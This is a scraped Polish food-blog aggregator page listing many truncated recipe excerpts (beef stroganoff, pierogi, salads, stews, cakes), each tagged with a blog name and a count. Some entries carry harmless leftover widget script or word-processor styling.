
wrzucić na rozgrzany głęboki olej. Smażyć z obydwu stron na złocisty kolor. Następnie przełożyć na papier kuchenny w celu pozbycia się nadmiaru tłuszczu. Podawać z dowolnymi i ulubionymi sosami na zimno, choć są tak smaczne, ze nie potrzebują nic więcej :) Smacznego

Wino Francja Kuchnia
Polędwiczki drobiowe pieczone z rozmarynem i oliwkami 167

cytryny i oliwą. Przykryć folią aluminiową. Piec w 200 stopniach. Po 25 minutach bez folii z dodatkiem masła drugie 25 minut w do zrumienienia się. Podawać z ulubionymi sosami oraz chrupiącą świeżą bagietką

Wino Francja Kuchnia
Boeuf Strogonow 188

wiosna ? Zapraszam.   Składniki: 1/2 polędwicy wołowej 400 g pieczarek 2 czerwone cebule 4 ząbki czosnku 2 liście laurowe 1 łyżka koncentratu pomidorowego 1 łyżka musztardy 1 łyżka sosu sojowego 1 łyżka mąki 1 łyżeczka słodkiej papryki 200 ml słodkiej śmietanki 4 łyżki kwaśnej śmietany 25 ml koniaku sól pieprz świeży koperek dobry olej do smażenia 1 plaster masła Wykonanie

Wino Francja Kuchnia
Sałatka z selera naciowego z koperkiem i prażonymi migdałami w jogurcie 2398

naciowego z koperkiem i prażonymi migdałami w jogurcie. Na poprawę humoru, swieżo, zdrowo, dietetycznie, chrupiąco i smacznie. Seler naciowy nie jest łatwym warzywem, lecz z odpowiednio dobranymi składnikami i sosami tworzy bardzo dobrą kompozycję, która ucieszy nasze podniebienie jak i wzrok.  Zapraszam na inne przepisy z selerem naciowym w roli glównej na moim blogu:  seler na ostro; Sałatka

Wino Francja Kuchnia
Pierogi z kaszą gryczaną i mielonym mięsem 362

będą się gotować, tym stanie się ono suchsze. Gotowe pierogi podawaj z roztopionym masełkiem i posypane natką pietruszki. Naprawdę niczego więcej im nie potrzeba. Można jej jednak podać z sosem śmietanowym lub z okrasą ze złocistej cebulki. Smacznego! Pierwszy raz w życiu robiłam pierogi inne niż ruskie i nie będę skromna - byłam z siebie dumna, gdy spróbowałam  pierwszego. Niebo

Anioszek w kuchni
Jak ugotować miękką ciecierzycę? 280

czterech woreczków śniadaniowych lub na mniejsze porcje. Zawiąż każdy i naklej informację z datą ugotowania. Włóż do zamrażalnika. Przed wykorzystaniem ciecierzycy nie musisz jej rozmrażać, jeśli dodajesz do sosu lub zupy. Na kotlety rozmróź wcześniej. Zamrożona ugotowana ciecierzyca jest po ponownym zagotowaniu bardziej miękka. Polecam! var __nc_widgets = __nc_widgets || []; var __nc_j = __nc_j || null; __nc_widgets.push(['A60A-9E99

Anioszek w kuchni
Chlebek naan bez drożdży 247

Chlebki najsmaczniejsze są jeszcze ciepłe, później miękną i już nie smakują tak dobrze. Jednak można je jeść w dowolnej wersji: na słono i na słodko. Można podać z orientalnym sosem lub jak ja dzisiaj - w asyście treściwej zupy gulaszowej. Można też posmarować ulubionym dżemem i zjeść jak kanapkę. Polecam serdecznie! Składniki na ok 11 chlebków: 4 szklanki* mąki pszennej

Anioszek w kuchni
Czekoladowo-malinowe ciasto na dzień kobiet 299

szklanki ze 100 ml gorącej wody. Dodaj żelatynę i dokładnie wymieszaj do jej rozpuszczenia. Dodaj do owoców. Wymieszaj do połączenia i odstaw do całkowitego przestudzenia. Gdy maliny w sosie zaczną lekko tężeć, ubij na sztywno śmietankę. Wlej do niej partiami maliny i zmiksuj do całkowitego połączenia. Odstaw do częściowego stężenia. Ścięty wierzch ciasta pokrusz. Na biszkopt wylej tężejącą masę malinową

Anioszek w kuchni
Konkurs "Dla Peggi do pracy" 206

zadanie dla Was :-) Wykonajcie danie (sałatkę, kanapki, cokolwiek), które da się zamknąć w pojemniczku, zanieść do pracy i zjeść bez podgrzewania. Jedzonko takie powinno ładnie wyglądać, nie opływać nadmiarem sosów, być smaczne :-)  Osoba, której danie najbardziej mi się spodoba otrzyma ten oto uśmiechnięty zestaw: Konkurs "Dla Peggi do pracy" ZASADY KONKURSU: Wykonaj danie o którym mowa powyżej, umieść obok

peggiwkuchni
Nylonowe pyzy 182

się wody i gotujemy przez 2-3 minuty od czasu wypłynięcia klusek. Pamiętajcie o zamieszaniu ich łyżką aby nie przykleiły się do dna garnka ;-) Pozdajemy  polane skwarkami lub sosem myśliwskim. Ja użyłam do okraszenia cebulki zrumienionej na smalcu. Nylonowe pyzy Nylonowe pyzy SMACZNEGO

peggiwkuchni
Placuszki razowe z serem 129

pomocy pędzelka)  i smażymy małe placuszki - ciasto wykładamy za pomocą łyżki nawilżonej wodą lekko je dociskając do patelni. Rumienimy po obu stronach. Podajemy posypane cukrem pudrem, ewentualnie polane sosem owocowym, miodem bądź syropem z agawy. Placuszki razowe z serem Placuszki razowe z serem SMACZNEGO

peggiwkuchni
Kasza gryczana, boczek i kiełbasa w koszulce z kapusty 212

laurowe i kostkę rosołową (jeśli dajemy bulion wlewamy go przed wlaniem wody). Gołąbki gotujemy przez około 1h - aż wszystkie liście kapusty zmiękną - najlepiej dzień przed podaniem. Gołąbki podajemy polane sosem pomidorowym . :-) Gołąbki z kaszą gryczaną, boczkiem i kiełbasą Gołąbki z kaszą gryczaną, boczkiem i kiełbasą SMACZNEGO

peggiwkuchni
Pörkölt 153

podsmażamy razem około 3 minuty. Następnie zalewamy rosołem i dusimy pod przykryciem na średnim ogniu około 30 minut. Zwiększamy ogień, dodajemy przecier pomidorowy i gotujemy dalej aby objętość sosu zmniejszyła się o połowę. Przyprawiamy mielonymi paprykami, solą, pieprzem i czosnkiem - podgrzewamy jeszcze przez około 5 minut. Podajemy z ziemniakami lub kaszą. Pörkölt SMACZNEGO

peggiwkuchni
Pasta twarogowo-tuńczykowa 188

niedzielne śniadanie. Gładka konsystencja z chrupiącymi i soczystymi kosteczkami papryki... mmmm... :-) Pasta  twarogowo-tuńczykowa PASTA TWAROGOWO-TUŃCZYKOWA  200g twarogu półtłustego 1 puszka tuńczyka w sosie własnym (185g) 3 jaja 1 zielona papryka 1 czerwona cebula 1 ogórek konserwowy 3 łyżeczki miękkiego masła 1 łyżeczka musztardy sarepskiej 1 łyżka słodkiej papryki mielonej natka pietruszki sól świeżo mielony pieprz Tuńczyka

peggiwkuchni
Sałatka z tuńczyka i ryżu 419

puszka tuńczyka w sosie własnym 1 torebka ryżu (100 g) 3 jaja na ugotowane twardo 10 małych ogórków konserwowych z chili (lub dwa zwykłe) 1 puszka kukurydzy konserwowej 1 puszka groszku konserwowego szczypiorek 4 łyżki majonezu Ryż gotujemy wg przepisu z opakowania na sypko, studzimy. Tuńczyka odsączamy i rozdrabniamy. Kukurydzę i groszek odsączamy. Jaja ugotowane na twardo obieramy i wraz

peggiwkuchni
Sałatka brokułowa z jajkiem i kurczakiem - i innymi dodatkami :-) 170

ósemki lub ćwiartki, oddzielam brokuła.  Na talerzach układam brokuły, jaja, kawałki mięsa, na środek dodaję makaron. Przyprawiam solą i pieprzem, a następnie posypuję startym żółtym serem.  Przygotowuję sos- czosnek wyciskam w prasce, łączę z jogurtem. Nakładam go na wyłożone na talerzu składniki. Dodaję pokrojoną rzodkiewkę, posypuję słonecznikiem, pistacjami, żurawiną.     SMACZNEGO

Wielopokoleniowo
Indyk z warzywami w sosie pomidorowym 155

mrożone warzywa, smażymy na małym ogniu do miękkości warzyw i mięsa. Wlewamy przecier pomidorowy, dusimy przez 5-10 minut. Doprawiamy do smaku słodką i ostrą papryką, pieprzem oraz solą. Sos zagęszczamy mąką ziemniaczaną rozrobiona w niewielkiej ilości zimnej wody, ryż gotujemy w osolonej wodzie według przepisu na opakowaniu

Bajeczna Kuchnia
Sałatka z cebulkami perłowymi. 202

grecki Przygotowanie: Cebulki osączyć, umytą paprykę pokroić w kostkę To samo zrobić z ugotowanym jajkami oraz pieczarkami Składniki sałatki wymieszać, posolić do smaku, posypać pieprzem Majonez i jogurt wymieszać Sosem polać sałatkę, wymieszać.                                            Majonez wymieszałam z jogurtem greckim

Proste Potrawy
Kalmary w sosie pomidorowym 215

mieszać, w razie potrzeby podlać bulionem lub winem. Po godzinie, sprawdzić czy kalmary są miękkie, jeżeli nie dusić jeszcze parę minut. Kiedy  kalmary  są już miękkie, doprawić sos  solą i pieprzem. Dorzucić muszle, dusić pod przykryciem ok 5 min - tak długo aż muszle się otworzą.  Dodać posiekaną natkę pietruszki i koperek z fenkuła. Wymieszać. Podawać

Stare Gary
Polędwiczki wieprzowe w sosie z gorgonzolą suszonymi pomidorami i kaparami 299

naszło w niedziele miało być zupełnie co innego z tej biednej małej polędwiczki ale luby zażyczył sobie w sosie. Podesłał parę przepisów i na koniec dodał ale zmieszaj to po swojemu dodaj coś od siebie i będzie pyszne. Więc po zmieszaniu i wpałaszowaniu całego talerza przez niego usłyszałam lepsze niż w restauracji jak jadłem więc chyba wyszło oki :) Składniki

Piekielna Kuchnia Pati
Cynamonowe ślimaczki z jabłkiem, rodzynkami i solonym karmelem 182

przez około 25 minut (do zarumienienia). Solony karmel Podczas pieczenia przygotuj solony karmel. Do rondelka wrzuć wszystkie składniki. Zagotuj, a następnie podgrzewaj przez około 10-15 minut aż sos zgęstnieje, a cukier zacznie się karmelizować. Jeszcze ciepłe ślimaczki smaruj glazurą za pomocą pędzelka. Odstaw do przestudzenia lub wcinaj od razu

Food Square
Spaghetti bolognese prawdziwego mężczyzny 249

mężczyźnie niedogotowany makaron przyjemnie chrupie w zębach! Po co odcedzać, wyciągniesz z garnka widelcem. 14. Na największy talerz, jaki w domu znajdziesz, wyłóż makaron. Następnie pół patelni mięsa z sosem. Coś nudno. Żona pod groźbą karalną zabroniła Ci zużywać szczypiorku, bo potrzebuje do sałatki dla gości. I tak użyj. No teraz jest kolor! 15. Po tych traumatycznych przeżyciach kuchennych, zasiądź

Grunt to przepis!
Schab a la po tajsku 165

Pyszna kombinacja ze schabu. Uwielbiam tajski sos i tu własnie dodałam go do tej potrawy. A jeszcze w połączeniu z makaronem ryżowym to już niebo w gębie jak to się mówi. Ogólnie danie szybkie i smaczne. Rozwiń i czytaj przepis

Ewa w kuchni
Falafele z kaszy jaglanej 148

następnie przekładamy na talerz wyłożony ręcznikiem papierowym. Podajemy od razu lub po przestudzeniu. Można je podać z pitą i warzywami, w formie sałatki jak tutaj lub z ulubionymi sosami np. czosnkowym, pomidorowym lub maczając falafele w hummusie. Smacznego, Klaudia. Szeroki wybór superfood można znaleźć w sklepie internetowym http://sklepagnex.pl/ Serdecznie zapraszam

Mango Papaja
Kurczak w aksamitnym sosie z mascarpone 236

filet z kurczaka 25 dkg pieczarek 1 szalotka 100 g serka mascarpone sól, pieprz czubryca czerwona Sposób przygotowania Kurczaka pokroić w kostkę … Czytaj dalej Kurczak w aksamitnym sosie z mascarpone

czarrna od kuchni
Marynowane jajka 155

stole pojawiło się jakieś nowe danie. Oto ono, czyli marynowane jajka w burakach. Prawda, że cudne ? Jajka możemy podać z majonezem, sosem tararskim lub z  chrzanem śmietankowym . Marynowane jajka Czas przygotowania: 8 godzin Składniki: 6 wiejskich dużych jajek 2 duże buraki 2 szklanki wody 1 szklanka octu 10% 2 listki laurowe

Kulinarne przygody Gatity
Naleśniki pomidorowe 207

naleśników (gotowych) obficie posypać żółtym serem (startym), na brzegu położyć kiełbaskę i zwinąć (brzegi złożyć do środka i całość zrolować). Tak przygotowane obsmażyć na maśle. Podawać z ulubionym sosem lub posypać dodatkową porcją sera

Di gotuje
Stek z jagnięciny wielkanocny 189

dochodzi”. Zazwyczaj temperatura jeszcze się podwyższa o około 5 stopni. Jeśli więc chcesz aby mięso było medium rare wyjmij na czas z piekarnika. Z wytopionych soków można przyrządzić sos. Podaj stek z pieczonymi ziemniakami i sałatką z buraków. The post Stek z jagnięciny wielkanocny appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Chleb do żurku. Chlebowe miski. 263

pewno nie możemy wlewać do niego gorącej zupy, gdyż szybko namoknie. Odcinamy wierzch wydrążamy jego środek (nie wyrzucajcie go można z niego przygotować na przykład panierkę lub zagęścić sos! Środek wydrążonego chleba smarujemy białkiem z jajek, a następnie zapiekamy przez ok. 10 minut w 180 stopni C. Chlebek będzie chrupiący, będziemy mieć też gwarancję, że nie przemoknie. Chleb zapiekamy tuż

Damsko-męskie spojrzenie na kuchnię
Jajka marmurkowe 259

uwagę gości. Mimo całonocnej kąpieli w marynacie nie zmieniają smaku, więc można je dodatkowo czymś nafaszerować ;)   Składniki: 4-5 jajek rozmiar M 3 szklanki wody 3 łyżki ciemnego sosu sojowego łyżeczka ziaren ciemnego pieprzu 2 łyżki granulowanej, czarnej herbaty łyżeczka brązowego cukru Jajka wkładamy do zimnej wody, gotujemy 2 minuty od czasu, aż woda zacznie wrzeć. Zestawiamy z gazu

Czerwona Porzeczka
Babka pomarańczowa 176

Uwielbiam piec babki. Za każdym razem inny smak. Dzisiaj mam dla Was babę pomarańczową. Prosta, ucierana i smaczna. Możecie ją posypać cukrem pudrem, polać karmelowym sosem lub polukrować. Jeśli macie ochotę spróbować upiec inne babki to zapraszam tutaj Nie wiem czy przed świętami pojawią się jeszcze inne baby, ale postaram się coś jeszcze dla Was upiec. Składniki 4 jajka

O kuchni z uczuciem
Zawijaski azjatyckie 239

Proste danie o orientalnym smaku. Składniki 1 filet z kurczaka 1 marchewka marynowany imbir sól, pieprz mąka\olej arachidowy sos teryiaki Sposób przygotowania Fileta przekroić na 2 kotlety i rozbić. Skropić … Czytaj dalej Zawijaski azjatyckie

czarrna od kuchni
Orientalny dorsz 154

Blueberry Corner by "jagodzianka" Ryby powinniśmy jeść i basta! Orientalny dorsz to świetna odmiana. Warzywa w słodko-kwaśnym sosie świetnie podkręcają smak potrawy. Ten zestaw … Przeczytaj cały artykuł Post Orientalny dorsz pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Sznycel z pieczarkami i serem 210

Pyszna propozycja obiadowa. U mnie w zestawie do sznycla frytki i miks sałat z sosem vinegret. Porcja dla 2 osób. SKŁADNIKI 2 filety z piersi z indyka 200 g pieczarek 1 mała cebula 70 g sera żółtego 1 jajko tarta bułka 1 łyżka masła 3-4 łyżki margaryny sól, pieprz WYKONANIE Piersi z indyka umyć, przełożyć na deskę, przykryć folią

Passions hobbies life
Pasztet domowy 193

termoobiegu. Czas pieczenia zależy od wielkości blaszki i piekarnika. Pasztet jest gotowy, gdy zaczyna odstawać od ścianek foremek. Pozostały wywar mięsny zamrażamy i wykorzystujemy np. jako bazę do sosów. Smacznego

Smak mojego domu
Flygande Jacob – kurczak z bananami 262

ziemnymi. UWAGI: piersi kurczaka możemy zamienić na dowolną inną część kurczaka. Banany można skropić sokiem z cytryny jeżeli nie chcemy aby szybko zrobiły się ciemne. Pastę curry można zastąpić sosem chilli

Mohiella
Roladki z indyka z prawdziwkami 237

rozpadały można sobie pomóc wykałaczką). Zwinięte roladki smażymy do zarumienienia, następnie zalewamy bulionem i wodą z moczenia grzybów. Doprawiamy do smaku i gotujemy przez ok 30 minut. Ja swój sos zagęściłam łyżką mąki i podałam z kaszą gryczaną i brokułami

Cynamonowe szczęście
Salsiccia fresca z papryką i cebulą – amerykańsko-włoski klasyk 285

miękkiej, puszystej i chrupiącej, pszennej długiej bułce, nasączonej sokiem spod pieczonej kiełbaski, na wierzch łyżka aromatycznych dodatków – papryki duszonej z cebulką, ostrych pikli. Czasami wszystko polane dodatkowo pomidorowym włoskim sosem marinara, czasami – z ciągnącą się mozarellą. Nigdy z dodatkiem musztardy czy ketchupu! Kiełbaski sparzone po przygotowaniu przez 10 minut zostawiamy w całości – nie należy ich nacinać, nakłuwać, dziurawić czy przecinać

Karo in the Kitchen
sałatka "meksykański król imprezy" 750

lodową posiekać. Kukurydzę i fasolę przepłukać. Z pomidorów usunąć miękki środek, resztę pokroić w dużą kostkę. Na dnie miski ułożyć pomidory, następnie cebulę, sałatę, pieczarki, mięso, kukurydzę, fasolę i sos majonezowy. Na wierzchu sałatki ułożyć pionowo nachosy obkładając nimi miskę wokół na kształt korony. Resztę połamać i wysypać na wierzch sałatki

Domowa Cukierenka-Domowa Kuchnia
Bataty pieczone 218

kuchni unosi się cudowny lekko słodkawy, ziołowy zapach pieczonych batatów. Takie frytki najlepiej smakują same w sobie, ewentualnie zanurzane w jogurcie naturalnym lub w łagodnym majonezie, zbyt intensywny sos przytłumi słodki smak batatów

Kuchcik gotuje
Pulpeciki w sosie z brukselką 265

Składniki ok 60 dkg mięsa mielonego 1 cebula 3 ząbki czosnku 1 jajko 1 czerstwa bułka sól, pieprz słodka i ostra papryka zioła prowansalskie … Czytaj dalej Pulpeciki w sosie z brukselką

czarrna od kuchni
Tołpyga w białym winie 169

Podlałem winem. Na koniec f do naczynia włożyłem kilka gałązek świeżego tymianku. Wstawiłem do piekarnika. Zapiekałem 20 minut w temperaturze 180 stopni C. Co pewien czas polewałem ryby powstającym sosem. Podałem z młodymi ziemniakami polanymi śmietaną z przesmażoną cebulą oraz surówką z białej kapusty

R'n'G Kitchen
Kilka pomysłów na... 212

zalane wrzątkiem i wymieszane z innymi, proste, ale mogłabym tak jeść cały czas :) czy u was też zawitało dzisiaj słońce? :)  kuskus, z groszkiem i fasolką na roszpunce, z sosem z tahini i płatków drożdżowych (vegan)  ziemniaki z karmelizowaną cebulką, ciecierzycą i groszkiem z garam masala (vegan) smażony (tarty) batat, z cebulką i pieczarkami, z tahini i płatkami drożdżowymi

More food, love and dreams
gulasz z karkówki z garam masala... 201

minut co jakiś czas mieszając wlać wodę 600 ml i pod przykryciem dusić na mniejszym ogniu około 40-45 minut mąkę wymieszać ze śmietaną i wodą, wlać do sosu i mieszać do zagęstnienia, natkę pietruszki drobno posiekać, ja rozdrobniłam w rozdrabniaczu i wsypać do gulaszu gulasz jest syty, aromatyczny, smaczny, można podać z kaszą gryczaną lub z czym się lubi

W Mojej Kuchni Lubię
EKSPRESOWY PUSZYSTY "SEREK TWAROGOWY" Z TOFU 244

samym blogu jakoś nie pojawiło się nigdy, a jest czymś, co robię obowiązkowo zawsze, kiedy kupię kilka kostek tofu naturalnego. Kostkę takiego tofu wrzucam do blendera, zlewam porządnie sosem sojowym (oznacza to kilka chlustów czyli 1 dużą głęboką łyżkę do zupy lub trochę więcej, zależy czy lubicie mniej lub bardziej słone), oprószam dodatkowo solą, dodaję łyżkę oleju kokosowego bezzapachowego

Wegański blog WSZYSTKO JEST W GŁOWIE
Sałatka z komosy ryżowej (quinoa) z cukinią. 182

cukinię, cebulę i pomidorki koktajlowe. Gdy nasza komosa wystygnie, mieszamy ją z warzywami. Cały sekret takiej sałatki tkwi w odpowiednim doprawieniu jej do smaku. Osobiście bardzo lubię ją z sosem winegret. Ale można po prostu dodać do niej oliwę z oliwek, sok z cytryny, sól i pieprz. Smacznego. Pozdrawiam serdecznie Beata Z mojego INSTAGRAMU     Ostatnio stałam się fanką

MODA NA BIO
Sałatka z tuńczykiem 129

Niezapowiedziani goście???... przepis sprawdzi się.  Składniki 400 g brokułów sok z cytryny 2 puszki tuńczyka w sosie własnym 4 dymki 2 jajka ugotowane na twardo 4 łyżki jogurtu greckiego sól pieprz Przygotowanie Tuńczyka osączyłem, przełożyłem do półmiska. Brokuły podzieliłem na różyczki, ugotowałem do miękkości. Osączyłem i ostudziłem. Dymki pokroiłem w plastry. Jajka ugotowane na twardo pokroiłem w ćwiartki. Połączyłem

R'n'G Kitchen
Warszawa Powiśle - kultowa klubokawiarnia na widelcu 186

Ekipa Powiśla przyszykowała dla nas wielką ucztę. W menu znalazły się różne sałatki, wśród nich znana sałatka z kotletem schabowym. Niestety sałatki były troszkę suche, dodałabym do nich więcej sosu. Po sałatkach na stół wjechały wrapy zielone ( z ciecierzycą, z mozzarellą i z kurczakiem) i wrapy czerwone (z kurczakiem, ze schabowym i z wędzonym łososiem). Wrapy były smaczne, ale też

Kulinarne przygody Gatity
Meksykańska tortilla czyli wege burrito. 340

chili, ale możecie zdecydować jaki będzie poziom ostrości, ponieważ pieprz cayenne dodajecie na samym końcu. Jeżeli lubicie chrupiącą tortillę, to polecam podgrzać ją na patelni. Ja nie dodaję żadnego sosu, bo danie samo w sobie jest ciekawe. Składniki: 4 ząbki czosnku 1 duża cebula 1 łyżka oleju (ja dałam kokosowy) 1 czerwona papryka 1 średni pomidor 1 mała cukinia

Apetyt na Zielone
Akademia Smaku Sokołów - warsztaty kulinarne z wołowiną 236

bardzo dobrym mięsie . Z takiej pysznej wołowiny można przygotować wspaniałe dania np. pieczeń z ligawy . Odpowiednio przyrządzona będzie krucha i bardzo smaczna. Smaczna Pyza lubi nowoczesne urządzenia, ale sos majonezowy najlepiej kręci się ręcznie, prawda? W ten tradycyjny sposób do sałatki cezar wyszedł przepyszny! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Polski pasztet z królika 188

pasztet jest miękki i gładki, dzięki czemu dobrze się rozsmarowuje na chlebie. A z czym go jeść? Każdy ma swoje upodobania. Z pomidorem i cebulką, z musztardą, albo z sosem żurawinowym, jak kto woli :) Składniki na 2 jednorazowe foremki z aluminium 25x10 cm: 1 królik (oczyszczony, wypatroszony i pokrojony na mniejsze części) 300 g boczku 300 g słoniny

Trzeci talerz
Stek z warzywami 240

musi koniecznie odpocząć, dajemy mu 10 minut. Soki w środku przestaną się gotować i krążyć i tym sposobem nam nie uciekną przy krojeniu. W międzyczasie, jak stek odpoczywa, robimy sos. Do jogurtu dodajemy kilka ząbków (zależy od upodobań) pieczonego czosnku, startego ogórka, posiekany koperek i łyżeczkę chrzanu, doprawiamy solą i pieprzem. I mamy najlepszy stek z warzywami na świecie. Smacznego

ladykitchen
Ciasto migdałowe z polentą 158

Macie już pomysł na ciasto na niedzielę ? Ja już upiekłam, na zdjęciu pyszne ciasto migdałowe z polentą. Wierzcie mi ciasto z polenty smakuje niesamowicie. Pachnie cytrusami, a podane z sosem z leśnych owoców i miodowym jogurtem po prostu rozpływa się w ustach. Bardzo lubię takie niepozorne, proste w wypieku ciasta. Zawsze się udają., Jak zabraknie to zaraz można upiec następne

codojedzenia
pieczeń z łopatki z czosnkiem niedźwiedzim i na ciepło i na zimno... 203

grzanie góra/dół, piec 55 minut, następnie na termoobiegu piec z 7-10 minut i wyjąć blaszkę z piekarnika - pieczeń jest smaczna i na obiad z sosem jaki się lubi i na zimno do pieczywa..................SMACZNEGO

W Mojej Kuchni Lubię
Sajgonki z kurczakiem i warzywami 603

Orientalny obiad :) Składniki papier ryżowy do sajgonek, ok. 15 szt 1 podwójny filet z kurczaka 1 czerwona papryka 1/2 cukinii 1 garść grzybów mun 3 łyżki sosu sojowego 1 … Czytaj dalej Sajgonki z kurczakiem i warzywami

czarrna od kuchni
Lasagne z soczewicą i porem 227

lasagne, 1/4 farszu z soczewicy i porów, 1/4 pomidorów i tak do wyczerpania składników. Na górze lasagne powinien znaleźć się farsz przykryty pomidorami, a nie makaron. Wierzch lasagne posmarować sosem śmietanowo-serkowym. Tak przygotowaną lasagne wstawić do piekarnika nagrzanego do 180 stopni (grzałka górna i dolna, 3 półka) i zapiekać, bez przykrycia, przez 35 minut. Lasagne podawać po lekkim wystudzeniu

Gospodyni Miejska
Pieczone kotlety z sosem z chili
 162

jagodzianka" Wreszcie wykorzystałam kupione w Miami suszone papryki chili Poblano o wdzięcznej nazwie Ancho Chili. Długo szukałam inspiracji, trafiającej w gusta … Przeczytaj cały artykuł Post Pieczone kotlety z sosem z chili pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Ryż w sosie pomidorowym z indykiem. 168

złoty dodajemy cebulkę pokrojoną w kostkę. Następnie dodajemy pomidory z zalewą i doprawiamy bazylią, oregano, papryką oraz solą. Ryż gotujemy według instrukcji na opakowaniu, odcedzamy i dodajemy do naszego sosu, mieszamy i jeszcze chwilkę podgrzewamy.  Smacznego

Moje-pitraszenie
Pizza z patelni 608

wyrabiamy ciasto i formujemy placek wielkości naszej patelni. Placek smażymy na rozgrzanej i suchej patelni po około 3 minuty z każdej strony. Placek zdejmujemy z patelni na deskę, smarujemy sosem i obkładamy ulubionymi dodatkami (u mnie tym razem ser pleśniowy, szynka pokrojona w paseczki i połówki koktajlowych pomidorów). Pizzę ponownie układamy na gorącej patelni i smażymy na małym ogniu

Damsko-męskie spojrzenie na kuchnię
Pieczarki – obieracie czy myjecie? 205

kiedy obieram, więc oczyszczanie za pomocą pędzelka lub płukanie pod bierzącą wodą wydaje mi się jak najbardziej na miejscu. Pieczarki – przepisy Nadziewane kapelusze Jajka faszerowane grzybami Pieczarka faszerowana Sos pieczarkowy     The post Pieczarki – obieracie czy myjecie? appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Puree ziemniaczane z sosem czosnkowym 142

miękkości. Odcedzamy i przeciskamy przez praskę. Czosnek przeciskamy przez praskę, łączymy ze śmietaną i majonezem. Doprawiamy do smaku solą, białym pieprzem, sokiem z cytryny i odrobiną gałki muszkatołowej. Sos dodajemy do ziemniaków, dokładnie łączymy. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Sałatka wiosenna z jajkami 161

ćwiartki, szóstki (zależy od wielkości). Sałatę podzielić na liście, umyć. Jajka obrać, przekroić wzdłuż na pół. Na półmisku ułożyć porwane liście sałaty, połówki jajek, rzodkiewki, liście rzodkiewki. Polać sosem z soku z cytryny, oliwy, musztardy, cukru i soli (wymieszać sok z cytryny z musztardą, mieszając dodawać oliwę, doprawić do smaku cukrem i solą). Posypałam kiełkami pora

królestwo garów
Sałata z fasolką szparagową i dressingiem sezamowym. Detox dzień 7 175

odtruć swój organizm i lepiej przygotować go do wiosny. Spróbujcie sami! Do dzisiejszego dania potrzebowałam pasty sezamowej. Jeśli nie macie takiej w domu możecie ją pominąć i zrobić zwykły sos tylko z oliwy, soku limonkowego i przypraw. Ale możecie też zrobić pastę tahini sami bo to bardzo proste. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Fasolka po bretońsku z kiełbasą bekonową. 239

kiełbasę przełożyć do fasoli. Następnie dodać przecier pomidorowy i chwilę gotować. Fasolkę można lekko zagęścić aby powstał sosik w 1/2 szklanki wody rozpuścić 1 łyżeczkę mąki ziemniaczanej.Jeśli wolicie sos bez zagęszczania to nie musicie go dodawać. Przyprawić ewentualnie jeszcze do smaku solą i pieprzem.Najlepiej smakuje z bułką :) Smacznego

Sama słodycz i szczypta chili
Gołąbki na pomidorowo z mięsem i czarnuszką 176

smak wspomnień. Każdy z nas takowy posiada kiedy wraca smakiem daleko wstecz, a wydaje się, że było to wczoraj. U nas dzisiaj wszystkim doskonale znane, klasyczne domowe gołąbki w sosie pomidorowym. Jednak skusiłyśmy się by zaprezentować je w odmienionej odsłonie. Dlaczego odmienionej? Otóż, dla podkreślenia smaku do farszu dodane zostały płatki pomidorów, uwielbiana przeze mnie czarnuszka i czosnek niedźwiedzi. Koniecznie

Kulinarny Świat Konczi i Szpileczki
Kluski lane 156

dlatego jest to Jej przepis Cudowny smak dzieciństwa – rosół z lanymi kluskami i chyba po dziś dzień wszystkie dzieci kochają to danie Można kluski lane zjeść również z sosem lub skwarkami – też są przepyszne. składniki: 2 jajka szczypta soli mąki taka ilość, żeby po wymieszaniu z jajkiem wyszło ciasto gęściejsze niż naleśnikowe. wykonanie: Mieszamy jajko z mąką

Sezonowy Garnek
Podudzia kurczaka w młodej kapuście 185

ogniu, od czasu do czasu obracałem podudzia i mieszałem kapustę. Pod koniec duszenia dodałem łyżkę gęstej śmietany. Po około 40 minutach mięso powinno być miękkie, a kapusta przypominać gęsty sos. Doprawiłem wszystko solą i pieprzem

R'n'G Kitchen
Pieczona wołowina 195

sposób możecie przygotować również karkówkę wieprzową. Składniki 1 kg wołowiny bez kości (miałam rostbef) Marynata 1 duża cebula 2 ząbki czosnku 2 łyżki octu balsamicznego 2 łyżki sosu sojowego 6 łyżek oliwy 1 łyżeczka papryki słodkiej 1/2 łyżeczki pieprzu 1/4 łyżeczki papryki ostrej sól Cebulę pokroić w drobną kosteczkę, czosnek przecisnąć przez praskę i wszystko wymieszać z pozostałymi składnikami marynaty

O kuchni z uczuciem
Keks wytrawny z żółtym serem i wędzonym łososiem 195

stopniach. (Piekąc w większej formie - odrobinę dłużej, babeczki - 25-30 minut.) Po upieczeniu odczekać kilka minut, aby lepiej się kroił. Można podawać w wersji solo lub z ulubionym sosem

Di gotuje
Jajka faszerowane tuńczykiem 169

komponuje się z delikatnym smakiem jajek i lekko pikantnej rzeżuchy. Świetnie sprawdzą się nie tylko na wielkanocnym stole ale też jako lekka przystawka. Składniki: 6 jajek puszka tuńczyka w sosie własnym (200g odsączonej ryby) 2 łyżeczki pesto pomidorowego 2 łyżki majonezu sól, czarny pieprz opcjonalnie papryczka chilii rzeżucha Sposób przygotowania: Jajka gotujemy na twardo w wodzie z dodatkiem soli

Pyry na Gaz
TATAR ŚLEDZIOWY I KONKURS Z SEKO 174

kaparami  SEKO   2 jajka ugotowane na twardo 2 kiszone ogórki 6 marynowanych grzybków 3 kawałki marynowanej papryki 1 mała czerwona cebula kilka kaparów z zalewy ze śledzi sos: łyżka miodu łyżka musztardy sól,pieprz Wykonanie: Płaty śledziowe drobno kroimy. Tak samo postępujemy z jajkami, kiszonymi ogórkami, grzybkami, marynowaną papryką, cebulą. Wszystko razem mieszamy, oprószamy solą i pieprzem. Miód

Z Majeczką w kuchni
Roleski 174

się produkcją majonezów, keczupów, musztard i wielu wielu innych dodatków do potraw. Od firmy Roleski otrzymałam paczkę niespodziankę, a w środku ogromna różnorodność produktów, tradycyjne i do grilla, marynaty, sosy... W głowie pomysły na pyszne dania, zabieram się za testowanie

kulinarnyswiatdomi
Pyzy z mięsem 135

